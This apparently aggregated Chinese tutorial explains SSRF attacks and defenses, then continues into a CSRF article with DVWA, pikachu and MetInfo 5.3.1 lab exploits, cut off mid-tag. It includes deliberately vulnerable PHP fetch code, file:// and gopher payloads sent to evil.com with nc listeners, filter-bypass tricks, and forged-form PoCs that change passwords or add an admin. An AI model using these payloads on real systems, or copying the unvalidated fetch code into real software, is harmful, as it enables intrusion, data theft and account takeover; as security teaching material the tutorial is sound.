SSRF漏洞原理攻击与防御(超详细总结)
Posted 零点敲代码
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SSRF漏洞原理攻击与防御(超详细总结)相关的知识,希望对你有一定的参考价值。
SSRF漏洞原理攻击与防御
目录
- SSRF漏洞原理攻击与防御
- 一、SSRF是什么?
- 二、SSRF漏洞原理
- 三、SSRF漏洞挖掘
- 四、产生SSRF漏洞的函数
- 五、SSRF中URL的伪协议
- 六、SSRF漏洞利用(危害)
- 七、SSRF绕过方式
- 八、SSRF漏防御
提示:以下是本篇文章正文内容,下面案例可供参考
一、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
二、SSRF漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
三、SSRF漏洞挖掘
1、分享:通过URL地址分享网页内容
2、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览:由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。
3、在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。
4、图片、文章收藏功能:此处的图片、文章收藏中的文章收藏就类似于分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。
5、未公开的api实现以及其他调用URL的功能:此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。
6、图片加载与下载:通过URL地址加载或下载图片,图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。
(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了?没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例水印、压缩等所以就可能造成SSRF问题)。
7、从URL关键字中寻找
利用google 语法加上这些关键字去寻找SSRF漏洞
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
简单来说:所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞
四、产生SSRF漏洞的函数
SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。
1、file_get_contents:
下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
<?php
if (isset($_POST['url']))
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\\"".$filename."\\"/>";
echo $img;
?>
2、sockopen():
以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
<?php
function GetFile($host,$port,$link)
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
echo "$errstr (error number $errno) \\n";
else
$out = "GET $link HTTP/1.1\\r\\n";
$out .= "Host: $host\\r\\n";
$out .= "Connection: Close\\r\\n\\r\\n";
$out .= "\\r\\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
$contents.= fgets($fp, 1024);
fclose($fp);
return $contents;
?>
3、curl_exec():
cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
<?php
if (isset($_POST['url']))
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
?>
注意事项
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议
五、SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
1、file
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
2、dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
六、SSRF漏洞利用(危害)
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
七、SSRF绕过方式
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
一、常见的绕过方式
1、限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
2.采用短网址绕过
比如百度短地址https://dwz.cn/
3.采用进制转换
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)
5.利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]
6.利用句号
127。0。0。1 >>> 127.0.0.1
7、CRLF 编码绕过
%0d->0x0d->\\r回车
%0a->0x0a->\\n换行
进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
8.利用封闭的字母数字
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
二、常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
八、SSRF漏防御
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
参考文献:
https://evilcos.me/?p=221
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#heading=h.mytbih9w7xb0
https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/
CSRF攻击原理及防御和相关漏洞复现
文章目录
CSRF攻击原理及防御和相关漏洞复现
CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF攻击原理及过程:
过程
1.用户打开浏览器,访问受信任银行网站,输入用户名密码请求登陆网站
2.在用户信息通过验证后,银行产生Cookie信息并返回给浏览器,此时用户登陆网站成功,可以正常发送请求到网站。
3.用户未退出银行网站之前,在同一浏览器中,打开一个tab页访问其他网站B
4.这个时候网站B已被黑客注入诱导信息,加入的是一张图片,图片地址指向src=”http://bank.example/withdraw?account=bob&amount=1000000&for=黑客
点击之后转账给黑客这个账户
5.浏览器在接收到这些攻击性代码请求后。根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行
原理:
攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息、盗取你的账号、添加系统管理员、甚至于购买商品、虚拟货币转账等。
CSRF防御
1.验证HTTP referer字段
根据HTTP协议,在HTTP头中有一个字段叫referer,它记录了该HTTP请求的来源地址。
验证referer
也就是说,服务器会验证客户端的请求来源,如果本网站请求的则响应,否则不响应。
但是即使这样,验证 HTTP Referer 字段 这种方式也存在安全隐患
1.对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值
2.用户自己可以设置浏览器使其在发送请求时不再提供 Referer
2.加验证码验证
但这种方式涉及到页面交互,在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
token
过程:
1.用户访问某个表单页面
2.服务端生成一个token,放在用户的session中,或者浏览器的Cookie中
3.在页面表单附带上token参数
4.用户提交请求后,服务端验证表单中的token是否有与用户session或Cookies中的token一致,一致为合法请求,不是则非法请求。
这个Token的值必须是随机的
。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST
,以form或AJAX形式提交,避免Token泄露。
DVWA靶机
Low
没有任何验证,所以直接将连接使用短连接生成器生成短链。
http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
源码:
Medium
源码:
查看源码,发现使用referer与主机名进行判断,所以,使用之前的短链,会出现That request didn't look correct.
所以使用burpsuite进行抓包,添加referer
密码修改成功
另一种解法
创建一个表单,诱导用户点击
表单源码
<!-- //http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form action="http://10.4.192.139/DVWA/vulnerabilities/csrf/" method="GET">
<input type="password" AUTOCOMPLETE="off" name="password_new" value="azb123"><br />
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="azb123"><br />
<input type="submit" value="Change" name="Change">
</form>
</body>
</html>
效果图
点击之后显示修改
High
源码:
token是使用get请求发送的,所以使用burpsuite的插件
设置CSRF token插件
然后代理抓包,抓到后放入repeater
发现每次都可以修改
pikachu平台CSRF
CSRF(get)
太简单不说了,请求页面http://10.4.192.139/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
就OK了,然后可以伪装成短链
CSRF(post)
因为是post请求,所以使用构造表单的方式。
构造表单源码
<html>
<head>
<meta charset="utf-8">
<title></title>
<script>
window.onload = function(){
document.getElementById('postsubmit').click();
}
</script>
</head>
<body>
<form action="http://10.4.192.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php " method="post">
<p class="per_name">姓名:vince</p>
<p class="per_sex">性别:<input type="text" name="sex" value="hhhh"></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="13333334444"></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="chain"></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p>
<input class="sub" type="submit" name="submit" id="postsubmit" value="submit">
</form>
</body>
</html>
CSRF(token)
上才艺
get请求加上了token,好了,这个和前面DVWA的High难度是一样的使用burpsuite的CSRF token Tracker
MetInfo5.3.1CSRF漏洞
进入后台页面
查看框架源代码
尝试添加管理员使用burpsuite进行抓包
Burpsuite抓到请求包
将其发送到repeater,使用CSRF poc
copy html代码,将其放在同源目录下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.43.61/MetInfo/admin/admin/save.php?action=add&lang=cn&anyid=47" method="POST">
<input type="hidden" name="useid" value="csrf_poc" />
<input type="hidden" name="pass1" value="azb123" />
<input type="hidden" name="pass2" value="azb123" />
<input type="hidden" name="name" value="csrf" />
<input type="hidden" name="sex" value="0" />
<input type="hidden" name="tel" value="1234568" />
<input type="hidden" name="mobile" value="13912345678" />
<input type="hidden" name="email" value="123456@qq.com" />
<input type="hidden" name="qq" value="" />
<input type="hidden" name="msn" value="" />
<input type="hidden" name="taobao" value="" />
<input type="hidden" name="admin_introduction" value="" />
<input type="hidden" name="admin_group" value="3" />
<input type="hidden" name="admin_pop1801" value="1801" />
<input type="hidden" name="admin_op0" value="metinfo" />
<input type="hidden" name="admin_op1" value="add" />
<input type="hidden" name="admin_op2" value="editor" />
<input type="hidden" name="admin_op3" value="del" />
<input type="hidden" name="admin_pop" value="yes" />
<input type="hidden" name="admin_pops1301" value="s1301" />
<input type="hidden" name="admin_popc1" value="c1" />
<input type="hidden" name="admin_popc2" value="c2" />
<input type="hidden" name="admin_popc3" value="c3" />
<input type="hidden" name="admin_popc25" value="c25" />
<input type="hidden" name="admin_popc31" value="c31" />
<input type="hidden" name="admin_popc32" value="c32" />
<input type="hidden" name="admin_popc33" value="c33" />
<input type="hidden" name="admin_popc36" value="c36" />
<input type="hidden" name="admin_pop9999" value="9999" />
<input type="hidden" name="admin_pops1401" value="s1401" />
<input type="hidden" name="admin_pops1106" value="s1106" />
<input type="hidden" name="admin_pops1404" value="s1404" CSRF的攻击与防御 详细版